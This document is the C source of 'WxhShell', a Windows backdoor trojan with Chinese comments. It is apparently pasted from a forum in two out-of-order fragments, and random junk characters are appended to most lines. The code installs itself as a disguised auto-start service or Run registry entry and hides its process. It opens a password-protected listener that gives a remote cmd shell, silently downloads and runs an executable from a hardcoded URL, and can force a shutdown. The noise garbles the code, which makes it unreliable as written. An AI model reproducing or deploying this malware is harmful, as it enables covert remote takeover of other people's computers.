    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5.>9+W8I  
    else { j&8U:Q,  
    closesocket(wsh); B^eea[  
    ExitThread(0); +1e*>jE  
    } g-6!+>w*>e  
    break; 2-2'c?%  
    } ctj.rC)6n  
  // 获取shell j+s8V-7(  
  case 's': { u6I# D _  
    CmdShell(wsh); C}45ZI4  
    closesocket(wsh); Rd2*  
    ExitThread(0); 1V)0+_Yv  
    break;  =#8J9  
  } S&|$F2M  
  // 退出 IN_GL18^MV  
  case 'x': { #E>f.:)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |i1z47jN6P  
    CloseIt(wsh); UUX _x?BD  
    break; s*rtm  
    } Rb#?c+&#  
  // 离开 5FzG_ w  
  case 'q': { V$@@!q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w W-GBY3  
    closesocket(wsh); T Li0*)}  
    WSACleanup(); ci ,o'`Q  
    exit(1); W.>yIA%  
    break; !1|f,9C  
        } 6? 2/b`k  
  } (Iu5QLE  
  } E|#'u^`yv  
O>H4hp  
  // 提示信息 \}Hk`n)Aq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b@nbXm]Z  
} S&@~F|  
  } 6jom6/F 4  
B,}%1+*  
  return; {?,:M  
} 9'O<d/xj/  
J0^p\mG  
// shell模块句柄 AlGD .K  
int CmdShell(SOCKET sock) ,v(G2`Z  
{ owQLAV  
STARTUPINFO si; _Tev503  
ZeroMemory(&si,sizeof(si)); }K0.*+M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "x&H*"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M=@U]1n*c  
PROCESS_INFORMATION ProcessInfo; .] 5&\  
char cmdline[]="cmd"; rY88xh^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %xL3=4\  
  return 0; JWM/np6  
} 8&H1w9NrX_  
Xig%Q~oMp  
// 自身启动模式 >KC*xa"  
int StartFromService(void) dA)7d77  
{ *F2obpU  
typedef struct 9v0f4Pbxm  
{ UI |D?z<  
  DWORD ExitStatus; _/7[=e}y  
  DWORD PebBaseAddress; tlG&PVvr  
  DWORD AffinityMask; ;v#~ o*  
  DWORD BasePriority; f H}`  
  ULONG UniqueProcessId; m&b!\"0  
  ULONG InheritedFromUniqueProcessId; .b5B7 x}  
}   PROCESS_BASIC_INFORMATION; d7P| x  
n8J';F =P  
PROCNTQSIP NtQueryInformationProcess; [96|xe\s  
7?b'"X"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kq{9 :G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eRC@b^~  
C'kd>LAGu  
  HANDLE             hProcess; {U7j  
  PROCESS_BASIC_INFORMATION pbi; X2Y-TE T  
amgYr$)m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NcRY Ch  
  if(NULL == hInst ) return 0; 6SW:'u|90  
SbrBlP: G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZJ  u\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O3B\K <l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4LKOBiEM  
{H"xC~.  
  if (!NtQueryInformationProcess) return 0; 5zfPh`U>1  
ExV>s*y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z_CBOJl#C!  
  if(!hProcess) return 0; .#EmE'IP*  
:8Mp SvCV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AgO:"'c  
/tx_I(6F?|  
  CloseHandle(hProcess); &&TQ0w&T  
ad }^Dj/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b[VP"KZ?  
if(hProcess==NULL) return 0; .,UpI|b  
#W'jNX,h  
HMODULE hMod; W/xb[w9v  
char procName[255]; ,]1K^UeZ  
unsigned long cbNeeded; !dStl:B  
3x.|g   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V1;n5YL  
a{,EX[~b  
  CloseHandle(hProcess); $nBzYRc"3  
M*{ EK  
if(strstr(procName,"services")) return 1; // 以服务启动 1/JgirVA  
-.i1l/FzP  
  return 0; // 注册表启动 PtwE[YDu  
} :W8DgL>l  
B?$pIG^Mn  
// 主模块 Y M/^-[k3  
int StartWxhshell(LPSTR lpCmdLine) gey`HhZp)  
{ s 3Y \,9\  
  SOCKET wsl; |'b=xeH.^<  
BOOL val=TRUE; jW"C: {Ol;  
  int port=0; NA!;#!  
  struct sockaddr_in door; D 0\  
jvCk+n[  
  if(wscfg.ws_autoins) Install(); "PLZZL$+  
qGr(MDLc  
port=atoi(lpCmdLine); KKl8tI\u~  
0:Ak 4L6k  
if(port<=0) port=wscfg.ws_port; 9^3y\@ m  
7-Fh!=\f/  
  WSADATA data; Z,_yE*q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /DJyNf*  
N@)tU;U3O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zf4@:GM`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &=xm>;`3  
  door.sin_family = AF_INET; cdf8YN0!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =0MW+-  
  door.sin_port = htons(port); /0\m;&  
LezM=om.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BoHMz/DB  
closesocket(wsl); aKhI|%5kA  
return 1; WdnCRFO?l  
} %7z  
t/#[At5p=  
  if(listen(wsl,2) == INVALID_SOCKET) { 9#@dQ/*  
closesocket(wsl); QY/36gK  
return 1; 4JT9EKo  
} K.dgQ-vn  
  Wxhshell(wsl); zl=RK  
  WSACleanup(); pEw &i  
RiIJ#:6+^I  
return 0; Ck/4h Z  
Ti=~ycwi  
} \:'=ccf  
U;LbP -{B  
// 以NT服务方式启动 m("! M~1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Jx[IHE  
{ =k2In_  
DWORD   status = 0; bWW$_S pr  
  DWORD   specificError = 0xfffffff; qWfG@hn  
AN\:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '&xv)tno  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K\`L>B. 1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mflH&Bx9  
  serviceStatus.dwWin32ExitCode     = 0; !/BXMj,=  
  serviceStatus.dwServiceSpecificExitCode = 0; ezY _7  
  serviceStatus.dwCheckPoint       = 0; "'~'xaU!=a  
  serviceStatus.dwWaitHint       = 0; JD^(L~n]  
'@3hU|jO!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )K4 |-<i  
  if (hServiceStatusHandle==0) return; ?R&,1~h  
;%"UZ~]f  
status = GetLastError(); o=X6PoJ N_  
  if (status!=NO_ERROR) {]n5h#c 5*  
{ @K7#}7,t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U:M?Ji5CY  
    serviceStatus.dwCheckPoint       = 0; /0uZ(F|>I  
    serviceStatus.dwWaitHint       = 0; {*r*+}@  
    serviceStatus.dwWin32ExitCode     = status; `Jq ?+W  
    serviceStatus.dwServiceSpecificExitCode = specificError; tq8B)<(]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2a3h m8%U  
    return; SYOND>E  
  } l23_K7  
/o*r[g7<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BHy#g>KUF  
  serviceStatus.dwCheckPoint       = 0; 6HW<E~G'6  
  serviceStatus.dwWaitHint       = 0; .nJErC##  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); loZJV M  
} ?H#]+SpOcv  
4/e-E^  
// 处理NT服务事件,比如:启动、停止 HW;,XzP=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L 5J=+k,  
{ Hc ]/0:  
switch(fdwControl) K{%}kUj>  
{ ]s ?BwLU6  
case SERVICE_CONTROL_STOP: H-K,Q%;C@  
  serviceStatus.dwWin32ExitCode = 0; ;H9d.D8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :<Yc V#!P  
  serviceStatus.dwCheckPoint   = 0; @kK${  
  serviceStatus.dwWaitHint     = 0; vd c k  
  { 3)^-A4~E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  {.GC7dx  
  } )@DH&  
  return; p6$ QTx  
case SERVICE_CONTROL_PAUSE: z _~ 5c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UN>!#Ji:$  
  break; snT!3t  
case SERVICE_CONTROL_CONTINUE: +R@5e+auQ.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K'+GK S7.  
  break; *Em 9R  
case SERVICE_CONTROL_INTERROGATE: [ Lt1OdGl  
  break; .iNPLz1  
}; 8zP{Cmm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vz</|s  
} O4ciD 1  
B @H.O!  
// 标准应用程序主函数 , |CT|2D>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rR@ t5  
{ ,F`:4=H%  
D642}VD  
// 获取操作系统版本 h@7S hp  
OsIsNt=GetOsVer(); wXIsc;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6TvlK*<r=  
e; 5 n.+m  
  // 从命令行安装 M:z)uLDw  
  if(strpbrk(lpCmdLine,"iI")) Install(); aT$q1!U`j2  
@C{IgV  
  // 下载执行文件 !2s< v  
if(wscfg.ws_downexe) { Nc:, [8{l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /-Y*V*E  
  WinExec(wscfg.ws_filenam,SW_HIDE); W2G`K+p  
} al$G OMi  
.9_]8 T  
if(!OsIsNt) { 3/+9#  
// 如果时win9x,隐藏进程并且设置为注册表启动 QkBT, c  
HideProc();  +ulBy  
StartWxhshell(lpCmdLine); cVv+,l4 V0  
} RbKAB8  
else Mt(wy%{zK  
  if(StartFromService()) # 8 0DM  
  // 以服务方式启动 D_ybgX?0:  
  StartServiceCtrlDispatcher(DispatchTable); Y O;N9wu3f  
else Sd'!(M^k3  
  // 普通方式启动 dtw1Am#Ci  
  StartWxhshell(lpCmdLine); ; {$9Sc $  
SUsD)!u_H  
return 0; Kf2Ob 1  
} +QT(~<  
3YVG|Bc~_  
n0q5|ES  
r e.chQ6  
=========================================== Nlemb:'eP3  
3 &.?9  
mE^mQ [Dk  
6"U&i9  
[hSE^ m  
Q]9H9?}N?  
" fz#e4+oH  
R h zf.kp  
#include <stdio.h> vU0j!XqE  
#include <string.h> [ &RZ&  
#include <windows.h> ESp)%  
#include <winsock2.h> ~n9BN'@x  
#include <winsvc.h> L!s/0kBg  
#include <urlmon.h> ,R]hNjs-{  
S G|``}OA  
#pragma comment (lib, "Ws2_32.lib") Tu2BQ4\[  
#pragma comment (lib, "urlmon.lib") 2mN>7Tj:  
WW82=2rJ9  
#define MAX_USER   100 // 最大客户端连接数 8mI eW  
#define BUF_SOCK   200 // sock buffer NPc]/n?vDj  
#define KEY_BUFF   255 // 输入 buffer L)H' g  
-L>xVF-|:1  
#define REBOOT     0   // 重启 hn\<'|n  
#define SHUTDOWN   1   // 关机 pv*u[ffi  
o?@,f/" 5  
#define DEF_PORT   5000 // 监听端口 ~?4'{Hc'  
l&2A]5C  
#define REG_LEN     16   // 注册表键长度 5RCQ<1  
#define SVC_LEN     80   // NT服务名长度 c'B6E1}sx  
v1%rlP  
// 从dll定义API )X2=x^u*U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u~FXO[b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j H#Tt;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ykcW>h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6!7LgM%4  
}w .[ZeP  
// wxhshell配置信息 Y^$^B,  
struct WSCFG { o"dX3jd  
  int ws_port;         // 监听端口  w=5D>]  
  char ws_passstr[REG_LEN]; // 口令 ovJ#2_  
  int ws_autoins;       // 安装标记, 1=yes 0=no m"*j J.MX  
  char ws_regname[REG_LEN]; // 注册表键名 |fnP@k  
  char ws_svcname[REG_LEN]; // 服务名 >ly`1t1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }la\?I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m`C c U`s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4UD<g+|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :#W40rUb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xp-.,^q\w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p.^glz>B  
]7 " W(  
}; 5W_u|z+/g  
S\=j; Uem  
// default Wxhshell configuration jq#gFt*  
struct WSCFG wscfg={DEF_PORT, PhL}V|W>  
    "xuhuanlingzhe", Q`k=VSUk  
    1, ep`WYR|B  
    "Wxhshell", tj/X 7|  
    "Wxhshell", rUvjc4O}  
            "WxhShell Service", _1jd{? kt  
    "Wrsky Windows CmdShell Service", Z]f_? @0  
    "Please Input Your Password: ", ))f%3_H  
  1, % B+W#Q`  
  "http://www.wrsky.com/wxhshell.exe", Si#I^aF`%  
  "Wxhshell.exe" KPO?eeT.WZ  
    }; ZYDLl8  
a_Y*pOu  
// 消息定义模块 dU%Q=r8R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?oF+?l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EfHo1Yn&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SXkUtY$  
char *msg_ws_ext="\n\rExit."; 1vKc>+9  
char *msg_ws_end="\n\rQuit."; (n:d {bKV  
char *msg_ws_boot="\n\rReboot..."; _Kdqa%L !  
char *msg_ws_poff="\n\rShutdown..."; :L gFd  
char *msg_ws_down="\n\rSave to "; 1xN6V-qk  
z%-Yz- G9  
char *msg_ws_err="\n\rErr!"; N>qOiw[  
char *msg_ws_ok="\n\rOK!"; a9S0glbwf  
:{@&5KQ8)  
char ExeFile[MAX_PATH]; s%F}4W2s  
int nUser = 0; ArWMbT>Zqw  
HANDLE handles[MAX_USER]; 6[fpe  
int OsIsNt; xG:eS:iT  
l_bvwo  
SERVICE_STATUS       serviceStatus; h8@8Q w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2Zt :]be  
e~]3/0  
// 函数声明 Za68V/Vj  
int Install(void); y)iT-$bQ  
int Uninstall(void); $D{ KXkrd  
int DownloadFile(char *sURL, SOCKET wsh); *Kj*|>)  
int Boot(int flag); c\"t+/Z  
void HideProc(void); K%AbM#o<  
int GetOsVer(void); zUX%$N+w}>  
int Wxhshell(SOCKET wsl); sq `f?tA?  
void TalkWithClient(void *cs); M^^5JNY  
int CmdShell(SOCKET sock); (IdXJvKU!  
int StartFromService(void); EC(,-sz\Z  
int StartWxhshell(LPSTR lpCmdLine); ZC}'! $r7  
umPd+5i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IvuKpX>*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ny# ?^.1  
}  IJ  
// 数据结构和表定义 9))E\U  
SERVICE_TABLE_ENTRY DispatchTable[] = _BGw)Z 6  
{ `x=W)o }  
{wscfg.ws_svcname, NTServiceMain}, zbQ-l1E  
{NULL, NULL} h^_Sd"l3  
}; ~2 L{m[s|  
`4^-@}  
// 自我安装 J2A+x\{<  
int Install(void) k#mQLv  
{ 1>hY!nG h  
  char svExeFile[MAX_PATH]; y/U(v"'4U  
  HKEY key; g'2'K  
  strcpy(svExeFile,ExeFile); %04N"^mT'~  
:`('lrq  
// 如果是win9x系统,修改注册表设为自启动 MmUtBT  
if(!OsIsNt) { vv='.R, D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =!}n .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uedzt  
  RegCloseKey(key); &o{=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ *:{U   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nnr g^F  
  RegCloseKey(key); `/]Th&(5  
  return 0; #p'Xq }]  
    } +ob<? T  
  } 9 0PF)U  
} .|>zQ(7YC  
else { q\+khy,k  
OZ{YQ}t{^1  
// 如果是NT以上系统,安装为系统服务 S$9>9!1>*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SN w3xO!;&  
if (schSCManager!=0) BET3tiHV  
{ <}e2\x  
  SC_HANDLE schService = CreateService fTQ_miAlP  
  ( IQn|0$':Z  
  schSCManager, 8 MUY  
  wscfg.ws_svcname, +um Ua  
  wscfg.ws_svcdisp, b4TZnO  
  SERVICE_ALL_ACCESS, qg521o$*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ = uz  
  SERVICE_AUTO_START, b6KO_s:'g  
  SERVICE_ERROR_NORMAL, SvR:tyF  
  svExeFile, 3FWl_d~uD  
  NULL, sEBZ-qql  
  NULL, Hn~=O8/2  
  NULL, o1jDQ+  
  NULL, J\7ukm"9  
  NULL tG!ApL  
  ); Qs v3`c  
  if (schService!=0) %N((p[\H  
  { O>8|Lc  
  CloseServiceHandle(schService); LOm*=MVex  
  CloseServiceHandle(schSCManager); ]J<2a`IK!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bbGSh|u+P  
  strcat(svExeFile,wscfg.ws_svcname); luA k$Es  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [!^Q_O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8sMDe'  
  RegCloseKey(key); +7yirp~`K  
  return 0; y2"PKBK\_  
    } 2|="!c8K  
  } :exgdm;N  
  CloseServiceHandle(schSCManager); c?@WNv  
} +rT%C&ze  
} &yu3nA:7D  
c eH8  
return 1; UNx|+  
} .I~#o$6  
ZkbaUIQ  
// 自我卸载 [VvTR#^  
int Uninstall(void) 7d9kr?3(U  
{ &G#LQl  
  HKEY key; 3Z,J &d`[  
+TA 'P$j  
if(!OsIsNt) { \BIa:}9O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +w'"N  
  RegDeleteValue(key,wscfg.ws_regname); !_zp'V]?  
  RegCloseKey(key); U)v['5%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WCa>~dF>  
  RegDeleteValue(key,wscfg.ws_regname); /g|H?F0  
  RegCloseKey(key); }>)e~\Tdzb  
  return 0; _e2=BE`W)  
  } OR{<)L  
} qG=?+em  
} 977%9z<h  
else { +Ce[OG.  
M84{u!>[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =bn(9Gm!J  
if (schSCManager!=0) /O,>s  
{ f9+J}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i5f8}`w  
  if (schService!=0) ejr9e@D^  
  { CV9o,rL  
  if(DeleteService(schService)!=0) { J%8M+!`F  
  CloseServiceHandle(schService); 0F"W~OQ6  
  CloseServiceHandle(schSCManager); ~&zrDj~FI  
  return 0; MCPVql`+`q  
  } [w0@7p"7  
  CloseServiceHandle(schService); ,r=9$i_  
  } U8f!yXF'  
  CloseServiceHandle(schSCManager); hW^*b:v{  
} YY! Lv:.7>  
} [r[IWy(}  
].=~C"s,a  
return 1; #3b_ #+,  
} sj;n1t}$S  
<)hA? 3J  
// 从指定url下载文件 {ylY"FA  
int DownloadFile(char *sURL, SOCKET wsh) }01c7/DRP<  
{ _*tU.x|DP  
  HRESULT hr; qh|t}#DrR  
char seps[]= "/"; 6Kl%|VrJs  
char *token; \a_75^2  
char *file; !ucHLo3:  
char myURL[MAX_PATH]; `"7}'|  
char myFILE[MAX_PATH]; 7P+qPcRaP  
Dd:TFZo  
strcpy(myURL,sURL); h/)kd3$*'  
  token=strtok(myURL,seps); *3uBS2Ld  
  while(token!=NULL) > whcZ.8  
  { %anY'GK   
    file=token; fU6O:-  
  token=strtok(NULL,seps); {Xw6]d  
  } 3MmpB9l#H  
(D\7EH\9,]  
GetCurrentDirectory(MAX_PATH,myFILE); n@TK}?\UoR  
strcat(myFILE, "\\"); _Q9Mn-&qQ  
strcat(myFILE, file); )bd)noZi  
  send(wsh,myFILE,strlen(myFILE),0); QR ?JN\%?  
send(wsh,"...",3,0); nrhzNW>]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :4Gc'b R  
  if(hr==S_OK) qjcPJ  
return 0; @r.w+E=  
else &oz^dlw  
return 1; Az+k8=?  
u<g0oEs)  
} r<%ua6@  
H^VNw1.   
// 系统电源模块 S7B7'[ru  
int Boot(int flag) h_( #U)z_3  
{ /?ZO-]q  
  HANDLE hToken; BR*'SF\T  
  TOKEN_PRIVILEGES tkp; K@f@vyw]  
ifXGH>C  
  if(OsIsNt) { L:.z FW,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bf21u 9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Q{"W"]O7  
    tkp.PrivilegeCount = 1; NsPAWI|4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Tv2op  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *]7$/%.D  
if(flag==REBOOT) { -ho%9LW%|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8[k:FGp>  
  return 0; OV"uIY[%8V  
} <UEta>jj  
else { Daw;6f:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @QN(ouqQ  
  return 0; <M y+!3\A  
} u~C,x3yr  
  } {4 y#+[  
  else {  ?W3l  
if(flag==REBOOT) { mTj ?W$+r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) } SNZl`>  
  return 0; xg^Z. q)d  
} (^G @-eh  
else { rA\6y6dFs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z!& u_  
  return 0; /<R[X>]<F  
} mA?fCs  
} A_4.>g  
A6?!BB=]  
return 1; tl=H9w&@  
} 8ofKj:W]  
rjo1  
// win9x进程隐藏模块 nOCCOTf  
void HideProc(void) XkEJ_;:  
{ "c5bz  
T2dv!}7p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W5^<4Ya!  
  if ( hKernel != NULL ) MQY}}a-oug  
  { 4lF(..Ix  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0! W$Cz[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,J4rKGG  
    FreeLibrary(hKernel); [S_qi,  
  } X{u\|e{  
Wb%t6N?  
return; V{{Xz:   
} ,+>JQ82  
PC<[ $~  
// 获取操作系统版本 6ec#3~ Y]  
int GetOsVer(void) (MGYX_rD  
{ EY^+ N>  
  OSVERSIONINFO winfo; 0@tN3u?dx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nJhaI  
  GetVersionEx(&winfo); c9:8KMF)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~QngCg-5q  
  return 1; Fl}{"eCF8  
  else <}Hs@`jS  
  return 0; n)uck5  
} M-V{(  
\\)9QP?  
// 客户端句柄模块 >3?p23|;  
int Wxhshell(SOCKET wsl) I/hq8v~S  
{ !zQbF&>  
  SOCKET wsh; hd1aNaF-  
  struct sockaddr_in client; P^57a?[`  
  DWORD myID; ' 4.T1i,  
tyU'[LF?  
  while(nUser<MAX_USER) AF\gB2^  
{ Fnc MIzp  
  int nSize=sizeof(client); G@+R!IG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZZ324UuATX  
  if(wsh==INVALID_SOCKET) return 1; gZ>) S@  
[J8;V|v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 045_0+r"@  
if(handles[nUser]==0) `LOW)|6r`  
  closesocket(wsh); sXwa`_{  
else F #)@ c  
  nUser++; E<[ Y KY  
  } fZavZ\qU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P47x-;  
eXAJ%^iD  
  return 0; _$P1N^}Zs  
} 0^83:C ^{  
\h@3dJ4  
// 关闭 socket awl3|k/  
void CloseIt(SOCKET wsh) }0}=-g&  
{ LaX<2]Tx:  
closesocket(wsh); m0p%R>:5  
nUser--; Fv-~v&  
ExitThread(0); \A 5Na-/9  
} o/hj~;(]  
ugzrG0=lx  
// 客户端请求句柄 uqvS  
void TalkWithClient(void *cs) ctMH5"F&1  
{ -BC`p 8  
PY MofQaZ  
  SOCKET wsh=(SOCKET)cs; /8wfI_P>M"  
  char pwd[SVC_LEN]; ?k^~qlye  
  char cmd[KEY_BUFF]; b8LA|#]i  
char chr[1]; 4x-K0  
int i,j; yVe<+Z\7  
>0JC u^9  
  while (nUser < MAX_USER) { ;R]~9Aan  
k`B S{,=  
if(wscfg.ws_passstr) { z#B(1uI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l\WN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3}lIY7 O  
  //ZeroMemory(pwd,KEY_BUFF); V-9\@'gc  
      i=0; .dsB\ C  
  while(i<SVC_LEN) { v Q51-.g  
BB imP  
  // 设置超时 #~ZaN;u  
  fd_set FdRead; @a i2A|  
  struct timeval TimeOut; bT MgE Y  
  FD_ZERO(&FdRead); t 7D~JAx6  
  FD_SET(wsh,&FdRead); .q<5OE(f  
  TimeOut.tv_sec=8; SQJ +C%   
  TimeOut.tv_usec=0; [P`<y#J3F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X<Ag['r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <+Gf!0i  
jJD*s/o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iu.Jp92  
  pwd=chr[0]; !j/54,  
  if(chr[0]==0xd || chr[0]==0xa) { -TS5g1  
  pwd=0; ,AH2/^:%c  
  break; q[(1zG%NbA  
  } 05Q4$P  
  i++; biPj(Dd  
    } +DaKP)H\:  
^<3{0g-"AW  
  // 如果是非法用户,关闭 socket 2B"tT"f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *j<{3$6Ii  
} ?}U?Q7vx@@  
tL M@o|:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gwbV$[.X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z*'<9l_1  
|G/U%?`  
while(1) { C]&/k_k  
?)H:.]7-x  
  ZeroMemory(cmd,KEY_BUFF); Sd/7#  
vxS4YRb  
      // 自动支持客户端 telnet标准   V  n+a-v  
  j=0; ( 7ujJ}#,  
  while(j<KEY_BUFF) { 2(5/#$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eo~b]D  
  cmd[j]=chr[0]; /!%?I#K{Wq  
  if(chr[0]==0xa || chr[0]==0xd) { tn;{r  
  cmd[j]=0; /VD[:sU7  
  break; UrO& K]Z  
  } S`Z[MNY  
  j++; NA$%Up  
    } ipE|)Ns  
[?bq4u`  
  // 下载文件 U6.hH%\}@  
  if(strstr(cmd,"http://")) { v'm-A d+4t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yxi&80$  
  if(DownloadFile(cmd,wsh)) %,S{9q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sR^b_/ElxT  
  else t'Zv)Wu1E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] Upr<!  
  } w3#0kl  
  else { *'*n}fM  
~14|y|\/  
    switch(cmd[0]) { <"8F=3:uk  
  4"UH~A;^  
  // 帮助 2f1Q&S  
  case '?': { r4d#;S9{o  
